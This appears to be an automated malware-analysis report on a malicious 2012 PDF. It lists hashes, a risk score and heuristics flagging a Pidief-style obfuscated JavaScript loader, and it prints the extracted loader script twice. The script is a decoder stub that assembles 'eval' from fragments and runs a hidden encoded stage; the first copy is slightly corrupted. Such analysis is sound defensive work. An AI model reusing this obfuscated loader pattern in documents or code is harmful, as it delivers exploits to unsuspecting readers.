PDF malware analysis — malicious · 4d747f9a2ddd900d

MALICIOUS

PDF

32.6 KB Authoring application: substr First seen: 2012-11-04

MD5: 895879b8ad816654fe47801130dfb1ee SHA-1: bfcc8ad95d80f49eea1dc1171fa3093bca720432 SHA-256: 4d747f9a2ddd900d585b4c75dedcbcd762ee67c70973e5017062c449cbde6850

86 Risk Score

Machine Learning

Nyx PDF Classifier malicious score 1.0000

Heuristics 3

Obfuscated Pidief-style JavaScript loader (stage not decoded) high CVE related PDF_PIDIEF_OBFUSCATED_VERSION_GATED_LOADER

PDF JavaScript carries a large opaque encoded stage (a letter-delimited numeric character-code array) that is built to be decoded and eval'd, but no exact Adobe Reader CVE could be attributed because the encoding scheme resisted full static decoding. This is the structural fingerprint of the Pidief / multi-CVE exploit-kit loader family — a version-gated obfuscated JavaScript stage with no benign use. Flagged suspicious on its own; an ML/AV signal or a recovered heap-spray pushes it to malicious.
JavaScript action low 1 related finding PDF_JAVASCRIPT

PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
Embedded JS stream low PDF_JS

PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename Kind Source Size

javascript_obj0004_000.js pdf-javascript-stream PDF /JS object 4 at offset 0x8047 434 bytes

Filename	Kind	Source	Size
`javascript_obj0004_000.js`	pdf-javascript-stream	PDF /JS object 4 at offset 0x8047	434 bytes
SHA-256: `8fe942ce64ff842a7afeea8df920d79a735fe471ab023e590983c76a14d92c60`
Preview script First 1,000 lines of the extracted script s2='';v=producer;t='le';b='v';c='e';a=c.concat('a','n','b','w',b,'o');s=a[t.length-2].concat(b,a[1],t[0]);e=v[v]()[s];vyesz=e(v[4]+'i'.concat(v[4],t));q=vyesz[v](a.length-6,a.length+2);mzfzk=e(v[0].toUpperCase().concat(v[4],'r','ing.f',q[4],a[6],q));q=vyesz[v](t.length+12)[e(v[0]+'u'+'bjec'+v[4])]('k');k=q[t[0]+'en'.concat('gth')];i=t.length-2;while(i!=k){djjsy=1(q[i]);i++;djjsy-=(-1)(q[i]);s2=s2.concat(mzfzk(djjsy));i++;}e(s2);

SHA-256: 8fe942ce64ff842a7afeea8df920d79a735fe471ab023e590983c76a14d92c60

Preview script

First 1,000 lines of the extracted script

s2='';v=producer;t='le';b='v';c='e';a=c.concat('a','n','b','w',b,'o');s=a[t.length-2].concat(b,a[1],t[0]);e=v[v]()[s];vyesz=e(v[4]+'i'.concat(v[4],t));q=vyesz[v](a.length-6,a.length+2);mzfzk=e(v[0].toUpperCase().concat(v[4],'r','ing.f',q[4],a[6],q));q=vyesz[v](t.length+12)[e(v[0]+'u'+'bjec'+v[4])]('k');k=q[t[0]+'en'.concat('gth')];i=t.length-2;while(i!=k){djjsy=1*(q[i]);i++;djjsy-=(-1)*(q[i]);s2=s2.concat(mzfzk(djjsy));i++;}e(s2);

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